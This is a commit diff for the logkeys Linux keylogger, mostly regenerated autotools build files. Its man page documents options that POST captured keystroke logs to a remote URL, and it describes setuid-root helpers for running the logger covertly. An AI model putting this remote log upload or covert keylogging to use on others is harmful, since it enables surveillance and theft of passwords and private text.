Implemented HTTP log POSTing and IRC posting, which is undocumented as it doesn't work. This is also a 0.1.1a release.

git-svn-id: https://logkeys.googlecode.com/svn/trunk@43 c501e62c-e7d1-11de-a198-37193048d1ed
This commit is contained in:
kernc 2010-05-31 21:31:50 +00:00
parent 2ec46c0140
commit 0861ec3838
20 changed files with 800 additions and 267 deletions

View File

@ -13,3 +13,7 @@
0. You just DO WHAT THE FUCK YOU WANT TO.
=====================================================================
If above license terms aren't acceptable to you, consider the project
licensed under GNU GPLv3+.

View File

@ -1,4 +1,4 @@
v0.1.1 (?)
v0.1.1a (2010-05-31)
* fixed 100% CPU issue on x64
* various other bug fixes
* removed pgrep dependency
@ -6,6 +6,7 @@ v0.1.1 (?)
* symlink attack vulnerability fixes
* other security fixes
* code refactoring
* remote log uploading via HTTP
* bug fixes
v0.1.0 (2010-01-05)

View File

@ -1,4 +1,4 @@
# Makefile.in generated by automake 1.11 from Makefile.am.
# Makefile.in generated by automake 1.11.1 from Makefile.am.
# @configure_input@
# Copyright (C) 1994, 1995, 1996, 1997, 1998, 1999, 2000, 2001, 2002,
@ -255,7 +255,7 @@ distclean-hdr:
# (which will cause the Makefiles to be regenerated when you run `make');
# (2) otherwise, pass the desired values on the `make' command line.
$(RECURSIVE_TARGETS):
@failcom='exit 1'; \
@fail= failcom='exit 1'; \
for f in x $$MAKEFLAGS; do \
case $$f in \
*=* | --[!k]*);; \
@ -280,7 +280,7 @@ $(RECURSIVE_TARGETS):
fi; test -z "$$fail"
$(RECURSIVE_CLEAN_TARGETS):
@failcom='exit 1'; \
@fail= failcom='exit 1'; \
for f in x $$MAKEFLAGS; do \
case $$f in \
*=* | --[!k]*);; \
@ -444,7 +444,8 @@ distdir: $(DISTFILES)
fi; \
done
-test -n "$(am__skip_mode_fix)" \
|| find "$(distdir)" -type d ! -perm -777 -exec chmod a+rwx {} \; -o \
|| find "$(distdir)" -type d ! -perm -755 \
-exec chmod u+rwx,go+rx {} \; -o \
! -type d ! -perm -444 -links 1 -exec chmod a+r {} \; -o \
! -type d ! -perm -400 -exec chmod a+r {} \; -o \
! -type d ! -perm -444 -exec $(install_sh) -c -m a+r {} {} \; \
@ -488,17 +489,17 @@ dist dist-all: distdir
distcheck: dist
case '$(DIST_ARCHIVES)' in \
*.tar.gz*) \
GZIP=$(GZIP_ENV) gunzip -c $(distdir).tar.gz | $(am__untar) ;;\
GZIP=$(GZIP_ENV) gzip -dc $(distdir).tar.gz | $(am__untar) ;;\
*.tar.bz2*) \
bunzip2 -c $(distdir).tar.bz2 | $(am__untar) ;;\
bzip2 -dc $(distdir).tar.bz2 | $(am__untar) ;;\
*.tar.lzma*) \
unlzma -c $(distdir).tar.lzma | $(am__untar) ;;\
lzma -dc $(distdir).tar.lzma | $(am__untar) ;;\
*.tar.xz*) \
xz -dc $(distdir).tar.xz | $(am__untar) ;;\
*.tar.Z*) \
uncompress -c $(distdir).tar.Z | $(am__untar) ;;\
*.shar.gz*) \
GZIP=$(GZIP_ENV) gunzip -c $(distdir).shar.gz | unshar ;;\
GZIP=$(GZIP_ENV) gzip -dc $(distdir).shar.gz | unshar ;;\
*.zip*) \
unzip $(distdir).zip ;;\
esac

6
TODO
View File

@ -1,6 +1,8 @@
-> Add support for sending logs via mail or POSTing them to remote server.
-> Add support for sending logs via mail or POSTing them to remote server
-> Also log title of the focused window
-> Add support for mouse events (i.e. on mouse click the focus may have changed).
-> Extract clipboard contents
-> Add support for mouse events (i.e. on mouse click the focus may have changed)

10
aclocal.m4 vendored
View File

@ -1,4 +1,4 @@
# generated automatically by aclocal 1.11 -*- Autoconf -*-
# generated automatically by aclocal 1.11.1 -*- Autoconf -*-
# Copyright (C) 1996, 1997, 1998, 1999, 2000, 2001, 2002, 2003, 2004,
# 2005, 2006, 2007, 2008, 2009 Free Software Foundation, Inc.
@ -13,8 +13,8 @@
m4_ifndef([AC_AUTOCONF_VERSION],
[m4_copy([m4_PACKAGE_VERSION], [AC_AUTOCONF_VERSION])])dnl
m4_if(m4_defn([AC_AUTOCONF_VERSION]), [2.64],,
[m4_warning([this file was generated for autoconf 2.64.
m4_if(m4_defn([AC_AUTOCONF_VERSION]), [2.65],,
[m4_warning([this file was generated for autoconf 2.65.
You have another version of autoconf. It may work, but is not guaranteed to.
If you have problems, you may need to regenerate the build system entirely.
To do so, use the procedure documented by the package, typically `autoreconf'.])])
@ -34,7 +34,7 @@ AC_DEFUN([AM_AUTOMAKE_VERSION],
[am__api_version='1.11'
dnl Some users find AM_AUTOMAKE_VERSION and mistake it for a way to
dnl require some minimum version. Point them to the right macro.
m4_if([$1], [1.11], [],
m4_if([$1], [1.11.1], [],
[AC_FATAL([Do not call $0, use AM_INIT_AUTOMAKE([$1]).])])dnl
])
@ -50,7 +50,7 @@ m4_define([_AM_AUTOCONF_VERSION], [])
# Call AM_AUTOMAKE_VERSION and AM_AUTOMAKE_VERSION so they can be traced.
# This function is AC_REQUIREd by AM_INIT_AUTOMAKE.
AC_DEFUN([AM_SET_CURRENT_AUTOMAKE_VERSION],
[AM_AUTOMAKE_VERSION([1.11])dnl
[AM_AUTOMAKE_VERSION([1.11.1])dnl
m4_ifndef([AC_AUTOCONF_VERSION],
[m4_copy([m4_PACKAGE_VERSION], [AC_AUTOCONF_VERSION])])dnl
_AM_AUTOCONF_VERSION(m4_defn([AC_AUTOCONF_VERSION]))])

195
configure vendored
View File

@ -1,12 +1,14 @@
#! /bin/sh
# Guess values for system-dependent variables and create Makefiles.
# Generated by GNU Autoconf 2.64 for logkeys 0.1.0.
# Generated by GNU Autoconf 2.65 for logkeys 0.1.1a.
#
# Report bugs to <kerncece+logkeys@gmail.com>.
#
#
# Copyright (C) 1992, 1993, 1994, 1995, 1996, 1998, 1999, 2000, 2001,
# 2002, 2003, 2004, 2005, 2006, 2007, 2008, 2009 Free Software
# Foundation, Inc.
# 2002, 2003, 2004, 2005, 2006, 2007, 2008, 2009 Free Software Foundation,
# Inc.
#
#
# This configure script is free software; the Free Software Foundation
# gives unlimited permission to copy, distribute and modify it.
@ -527,7 +529,8 @@ as_tr_cpp="eval sed 'y%*$as_cr_letters%P$as_cr_LETTERS%;s%[^_$as_cr_alnum]%_%g'"
as_tr_sh="eval sed 'y%*+%pp%;s%[^_$as_cr_alnum]%_%g'"
exec 7<&0 </dev/null 6>&1
test -n "$DJDIR" || exec 7<&0 </dev/null
exec 6>&1
# Name of the host.
# hostname on some systems (SVR3.2, Linux) returns a bogus exit status,
@ -549,8 +552,8 @@ MAKEFLAGS=
# Identity of this package.
PACKAGE_NAME='logkeys'
PACKAGE_TARNAME='logkeys'
PACKAGE_VERSION='0.1.0'
PACKAGE_STRING='logkeys 0.1.0'
PACKAGE_VERSION='0.1.1a'
PACKAGE_STRING='logkeys 0.1.1a'
PACKAGE_BUGREPORT='kerncece+logkeys@gmail.com'
PACKAGE_URL='http://code.google.com/p/logkeys/'
@ -1235,7 +1238,7 @@ if test "$ac_init_help" = "long"; then
# Omit some internal or obsolete options to make the list less imposing.
# This message is too long to be a string in the A/UX 3.1 sh.
cat <<_ACEOF
\`configure' configures logkeys 0.1.0 to adapt to many kinds of systems.
\`configure' configures logkeys 0.1.1a to adapt to many kinds of systems.
Usage: $0 [OPTION]... [VAR=VALUE]...
@ -1301,7 +1304,7 @@ fi
if test -n "$ac_init_help"; then
case $ac_init_help in
short | recursive ) echo "Configuration of logkeys 0.1.0:";;
short | recursive ) echo "Configuration of logkeys 0.1.1a:";;
esac
cat <<\_ACEOF
@ -1318,7 +1321,7 @@ Some influential environment variables:
LDFLAGS linker flags, e.g. -L<lib dir> if you have libraries in a
nonstandard directory <lib dir>
LIBS libraries to pass to the linker, e.g. -l<library>
CPPFLAGS C/C++/Objective C preprocessor flags, e.g. -I<include dir> if
CPPFLAGS (Objective) C/C++ preprocessor flags, e.g. -I<include dir> if
you have headers in a nonstandard directory <include dir>
CXXCPP C++ preprocessor
@ -1389,8 +1392,8 @@ fi
test -n "$ac_init_help" && exit $ac_status
if $ac_init_version; then
cat <<\_ACEOF
logkeys configure 0.1.0
generated by GNU Autoconf 2.64
logkeys configure 0.1.1a
generated by GNU Autoconf 2.65
Copyright (C) 2009 Free Software Foundation, Inc.
This configure script is free software; the Free Software Foundation
@ -1437,7 +1440,7 @@ sed 's/^/| /' conftest.$ac_ext >&5
ac_retval=1
fi
eval $as_lineno_stack; test "x$as_lineno_stack" = x && { as_lineno=; unset as_lineno;}
return $ac_retval
as_fn_set_status $ac_retval
} # ac_fn_cxx_try_compile
@ -1474,7 +1477,7 @@ sed 's/^/| /' conftest.$ac_ext >&5
ac_retval=1
fi
eval $as_lineno_stack; test "x$as_lineno_stack" = x && { as_lineno=; unset as_lineno;}
return $ac_retval
as_fn_set_status $ac_retval
} # ac_fn_cxx_try_cpp
@ -1609,7 +1612,7 @@ sed 's/^/| /' conftest.$ac_ext >&5
fi
rm -rf conftest.dSYM conftest_ipa8_conftest.oo
eval $as_lineno_stack; test "x$as_lineno_stack" = x && { as_lineno=; unset as_lineno;}
return $ac_retval
as_fn_set_status $ac_retval
} # ac_fn_cxx_try_run
@ -1740,7 +1743,7 @@ fi
# left behind by Apple's compiler. We do this before executing the actions.
rm -rf conftest.dSYM conftest_ipa8_conftest.oo
eval $as_lineno_stack; test "x$as_lineno_stack" = x && { as_lineno=; unset as_lineno;}
return $ac_retval
as_fn_set_status $ac_retval
} # ac_fn_cxx_try_link
@ -1814,8 +1817,8 @@ cat >config.log <<_ACEOF
This file contains any messages produced by compilers while
running configure, to aid debugging if configure makes a mistake.
It was created by logkeys $as_me 0.1.0, which was
generated by GNU Autoconf 2.64. Invocation command line was
It was created by logkeys $as_me 0.1.1a, which was
generated by GNU Autoconf 2.65. Invocation command line was
$ $0 $@
@ -2068,7 +2071,7 @@ fi
for ac_site_file in "$ac_site_file1" "$ac_site_file2"
do
test "x$ac_site_file" = xNONE && continue
if test -r "$ac_site_file"; then
if test /dev/null != "$ac_site_file" && test -r "$ac_site_file"; then
{ $as_echo "$as_me:${as_lineno-$LINENO}: loading site script $ac_site_file" >&5
$as_echo "$as_me: loading site script $ac_site_file" >&6;}
sed 's/^/| /' "$ac_site_file" >&5
@ -2077,9 +2080,9 @@ $as_echo "$as_me: loading site script $ac_site_file" >&6;}
done
if test -r "$cache_file"; then
# Some versions of bash will fail to source /dev/null (special
# files actually), so we avoid doing that.
if test -f "$cache_file"; then
# Some versions of bash will fail to source /dev/null (special files
# actually), so we avoid doing that. DJGPP emulates it as a regular file.
if test /dev/null != "$cache_file" && test -f "$cache_file"; then
{ $as_echo "$as_me:${as_lineno-$LINENO}: loading cache $cache_file" >&5
$as_echo "$as_me: loading cache $cache_file" >&6;}
case $cache_file in
@ -2499,6 +2502,7 @@ IFS=$as_save_IFS
fi
test -d ./--version && rmdir ./--version
if test "${ac_cv_path_mkdir+set}" = set; then
MKDIR_P="$ac_cv_path_mkdir -p"
else
@ -2506,7 +2510,6 @@ fi
# value for MKDIR_P within a source directory, because that will
# break other packages using the cache if that directory is
# removed, or if the value is a relative name.
test -d ./--version && rmdir ./--version
MKDIR_P="$ac_install_sh -d"
fi
fi
@ -2623,7 +2626,7 @@ fi
# Define the identity of the package.
PACKAGE='logkeys'
VERSION='0.1.0'
VERSION='0.1.1a'
cat >>confdefs.h <<_ACEOF
@ -2798,32 +2801,30 @@ $as_echo "$ac_try_echo"; } >&5
... rest of stderr output deleted ...
10q' conftest.err >conftest.er1
cat conftest.er1 >&5
rm -f conftest.er1 conftest.err
fi
rm -f conftest.er1 conftest.err
$as_echo "$as_me:${as_lineno-$LINENO}: \$? = $ac_status" >&5
test $ac_status = 0; }
done
cat confdefs.h - <<_ACEOF >conftest.$ac_ext
/* end confdefs.h. */
#include <stdio.h>
int
main ()
{
FILE *f = fopen ("conftest.out", "w");
return ferror (f) || fclose (f) != 0;
;
return 0;
}
_ACEOF
ac_clean_files_save=$ac_clean_files
ac_clean_files="$ac_clean_files a.out a.out.dSYM a.exe b.out conftest.out"
ac_clean_files="$ac_clean_files a.out a.out.dSYM a.exe b.out"
# Try to create an executable without -o first, disregard a.out.
# It will help us diagnose broken compilers, and finding out an intuition
# of exeext.
{ $as_echo "$as_me:${as_lineno-$LINENO}: checking for C++ compiler default output file name" >&5
$as_echo_n "checking for C++ compiler default output file name... " >&6; }
{ $as_echo "$as_me:${as_lineno-$LINENO}: checking whether the C++ compiler works" >&5
$as_echo_n "checking whether the C++ compiler works... " >&6; }
ac_link_default=`$as_echo "$ac_link" | sed 's/ -o *conftest[^ ]*//'`
# The possible output files:
@ -2885,10 +2886,10 @@ test "$ac_cv_exeext" = no && ac_cv_exeext=
else
ac_file=''
fi
{ $as_echo "$as_me:${as_lineno-$LINENO}: result: $ac_file" >&5
$as_echo "$ac_file" >&6; }
if test -z "$ac_file"; then :
$as_echo "$as_me: failed program was:" >&5
{ $as_echo "$as_me:${as_lineno-$LINENO}: result: no" >&5
$as_echo "no" >&6; }
$as_echo "$as_me: failed program was:" >&5
sed 's/^/| /' conftest.$ac_ext >&5
{ { $as_echo "$as_me:${as_lineno-$LINENO}: error: in \`$ac_pwd':" >&5
@ -2896,51 +2897,18 @@ $as_echo "$as_me: error: in \`$ac_pwd':" >&2;}
{ as_fn_set_status 77
as_fn_error "C++ compiler cannot create executables
See \`config.log' for more details." "$LINENO" 5; }; }
else
{ $as_echo "$as_me:${as_lineno-$LINENO}: result: yes" >&5
$as_echo "yes" >&6; }
fi
{ $as_echo "$as_me:${as_lineno-$LINENO}: checking for C++ compiler default output file name" >&5
$as_echo_n "checking for C++ compiler default output file name... " >&6; }
{ $as_echo "$as_me:${as_lineno-$LINENO}: result: $ac_file" >&5
$as_echo "$ac_file" >&6; }
ac_exeext=$ac_cv_exeext
# Check that the compiler produces executables we can run. If not, either
# the compiler is broken, or we cross compile.
{ $as_echo "$as_me:${as_lineno-$LINENO}: checking whether the C++ compiler works" >&5
$as_echo_n "checking whether the C++ compiler works... " >&6; }
# If not cross compiling, check that we can run a simple program.
if test "$cross_compiling" != yes; then
if { ac_try='./$ac_file'
{ { case "(($ac_try" in
*\"* | *\`* | *\\*) ac_try_echo=\$ac_try;;
*) ac_try_echo=$ac_try;;
esac
eval ac_try_echo="\"\$as_me:${as_lineno-$LINENO}: $ac_try_echo\""
$as_echo "$ac_try_echo"; } >&5
(eval "$ac_try") 2>&5
ac_status=$?
$as_echo "$as_me:${as_lineno-$LINENO}: \$? = $ac_status" >&5
test $ac_status = 0; }; }; then
cross_compiling=no
else
if test "$cross_compiling" = maybe; then
cross_compiling=yes
else
{ { $as_echo "$as_me:${as_lineno-$LINENO}: error: in \`$ac_pwd':" >&5
$as_echo "$as_me: error: in \`$ac_pwd':" >&2;}
as_fn_error "cannot run C++ compiled programs.
If you meant to cross compile, use \`--host'.
See \`config.log' for more details." "$LINENO" 5; }
fi
fi
fi
{ $as_echo "$as_me:${as_lineno-$LINENO}: result: yes" >&5
$as_echo "yes" >&6; }
rm -f -r a.out a.out.dSYM a.exe conftest$ac_cv_exeext b.out conftest.out
rm -f -r a.out a.out.dSYM a.exe conftest$ac_cv_exeext b.out
ac_clean_files=$ac_clean_files_save
# Check that the compiler produces executables we can run. If not, either
# the compiler is broken, or we cross compile.
{ $as_echo "$as_me:${as_lineno-$LINENO}: checking whether we are cross compiling" >&5
$as_echo_n "checking whether we are cross compiling... " >&6; }
{ $as_echo "$as_me:${as_lineno-$LINENO}: result: $cross_compiling" >&5
$as_echo "$cross_compiling" >&6; }
{ $as_echo "$as_me:${as_lineno-$LINENO}: checking for suffix of executables" >&5
$as_echo_n "checking for suffix of executables... " >&6; }
if { { ac_try="$ac_link"
@ -2973,13 +2941,72 @@ $as_echo "$as_me: error: in \`$ac_pwd':" >&2;}
as_fn_error "cannot compute suffix of executables: cannot compile and link
See \`config.log' for more details." "$LINENO" 5; }
fi
rm -f conftest$ac_cv_exeext
rm -f conftest conftest$ac_cv_exeext
{ $as_echo "$as_me:${as_lineno-$LINENO}: result: $ac_cv_exeext" >&5
$as_echo "$ac_cv_exeext" >&6; }
rm -f conftest.$ac_ext
EXEEXT=$ac_cv_exeext
ac_exeext=$EXEEXT
cat confdefs.h - <<_ACEOF >conftest.$ac_ext
/* end confdefs.h. */
#include <stdio.h>
int
main ()
{
FILE *f = fopen ("conftest.out", "w");
return ferror (f) || fclose (f) != 0;
;
return 0;
}
_ACEOF
ac_clean_files="$ac_clean_files conftest.out"
# Check that the compiler produces executables we can run. If not, either
# the compiler is broken, or we cross compile.
{ $as_echo "$as_me:${as_lineno-$LINENO}: checking whether we are cross compiling" >&5
$as_echo_n "checking whether we are cross compiling... " >&6; }
if test "$cross_compiling" != yes; then
{ { ac_try="$ac_link"
case "(($ac_try" in
*\"* | *\`* | *\\*) ac_try_echo=\$ac_try;;
*) ac_try_echo=$ac_try;;
esac
eval ac_try_echo="\"\$as_me:${as_lineno-$LINENO}: $ac_try_echo\""
$as_echo "$ac_try_echo"; } >&5
(eval "$ac_link") 2>&5
ac_status=$?
$as_echo "$as_me:${as_lineno-$LINENO}: \$? = $ac_status" >&5
test $ac_status = 0; }
if { ac_try='./conftest$ac_cv_exeext'
{ { case "(($ac_try" in
*\"* | *\`* | *\\*) ac_try_echo=\$ac_try;;
*) ac_try_echo=$ac_try;;
esac
eval ac_try_echo="\"\$as_me:${as_lineno-$LINENO}: $ac_try_echo\""
$as_echo "$ac_try_echo"; } >&5
(eval "$ac_try") 2>&5
ac_status=$?
$as_echo "$as_me:${as_lineno-$LINENO}: \$? = $ac_status" >&5
test $ac_status = 0; }; }; then
cross_compiling=no
else
if test "$cross_compiling" = maybe; then
cross_compiling=yes
else
{ { $as_echo "$as_me:${as_lineno-$LINENO}: error: in \`$ac_pwd':" >&5
$as_echo "$as_me: error: in \`$ac_pwd':" >&2;}
as_fn_error "cannot run C++ compiled programs.
If you meant to cross compile, use \`--host'.
See \`config.log' for more details." "$LINENO" 5; }
fi
fi
fi
{ $as_echo "$as_me:${as_lineno-$LINENO}: result: $cross_compiling" >&5
$as_echo "$cross_compiling" >&6; }
rm -f conftest.$ac_ext conftest$ac_cv_exeext conftest.out
ac_clean_files=$ac_clean_files_save
{ $as_echo "$as_me:${as_lineno-$LINENO}: checking for suffix of object files" >&5
$as_echo_n "checking for suffix of object files... " >&6; }
if test "${ac_cv_objext+set}" = set; then :
@ -4995,8 +5022,8 @@ cat >>$CONFIG_STATUS <<\_ACEOF || ac_write_fail=1
# report actual input values of CONFIG_FILES etc. instead of their
# values after options handling.
ac_log="
This file was extended by logkeys $as_me 0.1.0, which was
generated by GNU Autoconf 2.64. Invocation command line was
This file was extended by logkeys $as_me 0.1.1a, which was
generated by GNU Autoconf 2.65. Invocation command line was
CONFIG_FILES = $CONFIG_FILES
CONFIG_HEADERS = $CONFIG_HEADERS
@ -5036,6 +5063,7 @@ Usage: $0 [OPTION]... [TAG]...
-h, --help print this help, then exit
-V, --version print version number and configuration settings, then exit
--config print configuration, then exit
-q, --quiet, --silent
do not print progress messages
-d, --debug don't remove temporary files
@ -5059,10 +5087,11 @@ logkeys home page: <http://code.google.com/p/logkeys/>."
_ACEOF
cat >>$CONFIG_STATUS <<_ACEOF || ac_write_fail=1
ac_cs_config="`$as_echo "$ac_configure_args" | sed 's/^ //; s/[\\""\`\$]/\\\\&/g'`"
ac_cs_version="\\
logkeys config.status 0.1.0
configured by $0, generated by GNU Autoconf 2.64,
with options \\"`$as_echo "$ac_configure_args" | sed 's/^ //; s/[\\""\`\$]/\\\\&/g'`\\"
logkeys config.status 0.1.1a
configured by $0, generated by GNU Autoconf 2.65,
with options \\"\$ac_cs_config\\"
Copyright (C) 2009 Free Software Foundation, Inc.
This config.status script is free software; the Free Software Foundation
@ -5100,6 +5129,8 @@ do
ac_cs_recheck=: ;;
--version | --versio | --versi | --vers | --ver | --ve | --v | -V )
$as_echo "$ac_cs_version"; exit ;;
--config | --confi | --conf | --con | --co | --c )
$as_echo "$ac_cs_config"; exit ;;
--debug | --debu | --deb | --de | --d | -d )
debug=: ;;
--file | --fil | --fi | --f )
@ -5290,7 +5321,7 @@ s/'"$ac_delim"'$//
t delim
:nl
h
s/\(.\{148\}\).*/\1/
s/\(.\{148\}\)..*/\1/
t more1
s/["\\]/\\&/g; s/^/"/; s/$/\\n"\\/
p
@ -5304,7 +5335,7 @@ s/.\{148\}//
t nl
:delim
h
s/\(.\{148\}\).*/\1/
s/\(.\{148\}\)..*/\1/
t more2
s/["\\]/\\&/g; s/^/"/; s/$/"/
p

View File

@ -2,7 +2,7 @@
# Process this file with autoconf to produce a configure script.
AC_PREREQ(2.64)
AC_INIT([logkeys],[0.1.0],[kerncece+logkeys@gmail.com],[],[http://code.google.com/p/logkeys/])
AC_INIT([logkeys],[0.1.1a],[kerncece+logkeys@gmail.com],[],[http://code.google.com/p/logkeys/])
AC_CONFIG_SRCDIR([src/logkeys.cc])
AM_INIT_AUTOMAKE([-Wall foreign])
AC_CONFIG_HEADERS([config.h])

View File

@ -1,4 +1,4 @@
# Makefile.in generated by automake 1.11 from Makefile.am.
# Makefile.in generated by automake 1.11.1 from Makefile.am.
# @configure_input@
# Copyright (C) 1994, 1995, 1996, 1997, 1998, 1999, 2000, 2001, 2002,

View File

@ -1,15 +1,18 @@
.TH logkeys 8 2009-12-13
.TH logkeys 8 2010-05-25
.SH NAME
logkeys \- a GNU/Linux keylogger that works!
.SH SYNOPSIS
.B logkeys
\fB-s\fR [\fB-m \fIkeymap\fR|\fB-u\fR] [\fB-o \fIlogfile\fR] [\fB-d \fIdevice\fR] [\fB--no-func-keys\fR]
.B logkeys \fB-s\fR [\fB-m \fIkeymap\fR|\fB-u\fR] [\fB-o \fIlogfile\fR] [\fB-d \fIdevice\fR]
.br
.B logkeys
\fB-k\fR
[\fB--no-func-keys\fR] [\fB--no-timestamps\fR]
.br
.B logkeys
[\fB--export-keymap=\fIkeymap\fR]
[\fB--post-size=\fISIZE\fR] [\fB--post-http=\fIURL\fR]
.br
.B logkeys \fB-k\fR
.br
.B logkeys [\fB--export-keymap=\fIkeymap\fR]
.SH DESCRIPTION
logkeys is a linux keylogger. It is no more advanced than other available linux
keyloggers, notably \fBlkl\fR and \fBuberkey\fR, but is a bit newer, more up to date, it
@ -27,14 +30,19 @@ Two helper \fBsetuid root\fR programs are shipped with logkeys. \fIllk\fR, which
Because llk and llkk are installed setuid root, you can edit the two .sh scripts
(mostly just logkeys-start.sh) to your preference, then issue logkeys via llk whenever
you have to run it covertly (e.g. when you don't want to su to root or type sudo password).
.SH OPTIONS
Non-optional arguments are required for short options too.
.TP
\fB-s\fR, \fB-\-start\fR
Starts the keylogging daemon process.
.TP
\fB-k\fR, \fB-\-kill\fR
Terminates the running logkeys process.
.TP
\fB-o\fR, \fB-\-output\fR=\fIlogfile\fR
Set ouput log file to \fIlogfile\fR. If no \fB-o\fR option is provided, logkeys
@ -42,6 +50,7 @@ appends to \fI/var/log/logkeys.log\fR file. If \fIlogfile\fR doesn't exist, logk
creates the file with 600 permissions.
.IP
See also \fBLOGFILE FORMAT\fR section.
.TP
\fB-m\fR, \fB-\-keymap\fR=\fIkeymap\fR
Use file \fIkeymap\fR as input keymap for processing pressed keys.
@ -52,16 +61,19 @@ previously exported by \fB--export-keymap\fR.
See also \fBKEYMAP FORMAT\fR section.
.IP
\fB-m\fR and \fB-u\fR option are mutually exclusive.
.TP
\fB-d\fR, \fB-\-device\fR=\fIdevice\fR
Use \fIdevice\fR as keyboard input event device instead of \fI/dev/input/eventX\fR default.
.IP
You can determine the keyboard device to be used by examining \fI/proc/bus/input/devices\fR.
.TP
\fB-u\fR, \fB-\-us-keymap\fR
This option makes logkeys interpret keys as on standard US keyboard.
.IP
\fB-u\fR and \fB-m\fR option are mutually exclusive.
.TP
\fB-\-export-keymap\fR=\fIkeymap\fR
This option makes logkeys export dynamic keymap as obtained from \fIdumpkeys\fR(1)
@ -75,6 +87,7 @@ as complete deficient entries. It is also advised that you use \fB-\-export-keym
on a virtual terminal outside of X (\fI/dev/ttyX\fR).
.IP
See section \fBKEYMAP FORMAT\fR for exported keymap format.
.TP
\fB-\-no-func-keys\fR
This option makes logkeys log all and only character key presses
@ -83,10 +96,42 @@ This option makes logkeys log all and only character key presses
This option may be useful when correct \fIkeymap\fR can reliably be
expected (i.e. by providing it with \fB-m\fR option). Then only character keys are
logged, influenced by Shift and AltGr modifiers.
.TP
\fB-\-no-timestamps\fR
When this option is set, logkeys doesn't prepend timestamp to each line of log file.
Timestamps are only logged when logkeys starts and stops.
.TP
\fB-\-post-size=\fISIZE\fR
When log size reaches \fISIZE\fR, the current log filename is appended \fI.X\fR,
where X is ascending number (e.g. \fIlogfile.1\fR).
.IP
When that happens, logkeys starts remote uploading process and all \fIlogfile.X\fR
files are uploaded as specified by \fB--post-http\fR or \fB--post-irc\fR options.
.IP
If \fB--post-size\fR is set, but no post method is set (i.e. neither \fB--post-http\fR
nor \fB--post-irc\fR), then the logfile is only truncated when it reaches
\fISIZE\fR, renamed to \fIlogfile.X\fR, and a new blank logfile is created for
active logging.
.IP
\fISIZE\fR can be an integer bytesize, or an intger followed by K or M for kilobytes
or megabytes, respectively.
.TP
\fB-\-post-http=\fIURL\fR
This option tells logkeys to POST the log file to URL, where it is preferrably greeted
by a (PHP) script.
.IP
The file is sent with header \fIContent-Type: multipart/form-data\fR as file, so it
is accessible in PHP via $_FILES variable.
.SH FILES
.TP
\fB/var/log/logkeys.log\fR
When \fB-o\fR option is not used, logkeys appends to default log file.
.SH "LOGFILE FORMAT"
Log files are \fBUTF-8 encoded\fR.
.PP
@ -149,6 +194,8 @@ Logging stopped at 2009-12-11 09:58:54+0100
.PP
Even when \fB-\-no-func-keys\fR is in effect, Space and Tab key presses are logged as
a single space character.
.SH "KEYMAP FORMAT"
The keymap file is expected to be \fBUTF-8 encoded\fR.
.PP
@ -188,6 +235,8 @@ left-to-right.
.PP
If you create full and completely valid keymap for your particular language,
please upload it to project website or send it to me by e-mail. Thanks.
.SH EXAMPLES
To print short help:
.IP
@ -211,8 +260,6 @@ $ logkeys --start --keymap my_keymap
.PP
To use a custom event device (e.g. /dev/input/event4):
.IP
$ logkeys --start --device /dev/input/event4 # or just
.br
$ logkeys --start --device event4
.PP
To end running logkeys process:
@ -221,6 +268,8 @@ $ logkeys --kill
.PP
After \fIetc/logkeys-start.sh\fR is updated to one's liking, helper programs \fIbin/llk\fR (start) and
\fIbin/llkk\fR (kill) can be used as well.
.SH BUGS
logkeys relies on numeric output of \fIdumpkeys\fR(1), which \fIkeymaps\fR(5)
manual page specifically discourages as unportable.
@ -229,10 +278,10 @@ Be nice and hope nothing breaks.
.PP
If you come across any bugs, please report them on project website, issues page:
.IP
http://code.google.com/p/logkeys/issues
http://code.google.com/p/logkeys/issues/
.SH AUTHOR
.PP
logkeys was written by Kernc <kerncece+logkeys@gmail.com>.
logkeys was written by Kernc <kerncece+logkeys@gmail.com> with much help from the community.
.PP
You can always obtain the latest version and information at project website:
<http://code.google.com/p/logkeys/>.

View File

@ -1,3 +1,2 @@
#myconfdir=$(prefix)/etc
myconfdir=$(sysconfdir)
myconf_SCRIPTS = logkeys-start.sh logkeys-kill.sh

View File

@ -1,4 +1,4 @@
# Makefile.in generated by automake 1.11 from Makefile.am.
# Makefile.in generated by automake 1.11.1 from Makefile.am.
# @configure_input@
# Copyright (C) 1994, 1995, 1996, 1997, 1998, 1999, 2000, 2001, 2002,
@ -158,8 +158,6 @@ target_alias = @target_alias@
top_build_prefix = @top_build_prefix@
top_builddir = @top_builddir@
top_srcdir = @top_srcdir@
#myconfdir=$(prefix)/etc
myconfdir = $(sysconfdir)
myconf_SCRIPTS = logkeys-start.sh logkeys-kill.sh
all: all-am

View File

@ -6,8 +6,8 @@ llk_SOURCES = llk.cc
llkk_SOURCES = llkk.cc
install-exec-hook:
chown root\: $(bindir)/llk
chmod u+s $(bindir)/llk
chown root\: $(bindir)/llkk
chmod u+s $(bindir)/llkk
chown root\: $(DESTDIR)$(bindir)/llk
chmod u+s $(DESTDIR)$(bindir)/llk
chown root\: $(DESTDIR)$(bindir)/llkk
chmod u+s $(DESTDIR)$(bindir)/llkk

View File

@ -1,4 +1,4 @@
# Makefile.in generated by automake 1.11 from Makefile.am.
# Makefile.in generated by automake 1.11.1 from Makefile.am.
# @configure_input@
# Copyright (C) 1994, 1995, 1996, 1997, 1998, 1999, 2000, 2001, 2002,
@ -467,10 +467,10 @@ uninstall-am: uninstall-binPROGRAMS
install-exec-hook:
chown root\: $(bindir)/llk
chmod u+s $(bindir)/llk
chown root\: $(bindir)/llkk
chmod u+s $(bindir)/llkk
chown root\: $(DESTDIR)$(bindir)/llk
chmod u+s $(DESTDIR)$(bindir)/llk
chown root\: $(DESTDIR)$(bindir)/llkk
chmod u+s $(DESTDIR)$(bindir)/llkk
# Tell versions [3.59,3.63) of GNU make to not export all variables.
# Otherwise a system limit (for SysV at least) may be exceeded.

118
src/args.cc Normal file
View File

@ -0,0 +1,118 @@
/*
Copyleft (ɔ) 2009 Kernc
This program is free software. It comes with absolutely no warranty whatsoever.
See COPYING for further information.
Project homepage: http://code.google.com/p/logkeys/
*/
#ifndef _ARGS_H_
#define _ARGS_H_
namespace logkeys {
struct arguments
{
bool start; // start keylogger, -s switch
bool kill; // stop keylogger, -k switch
bool us_keymap; // use default US keymap, -u switch
char * logfile; // user-specified log filename, -o switch
char * keymap; // user-specified keymap file, -m switch or --export-keymap
char * device; // user-specified input event device, given with -d switch
char * http_url; // remote HTTP URL to POST log to, --post-http switch
char * irc_entity; // if --post-irc effective, this holds the IRC entity to PRIVMSG (either #channel or NickName)
char * irc_server; // if --post-irc effective, this holds the IRC hostname
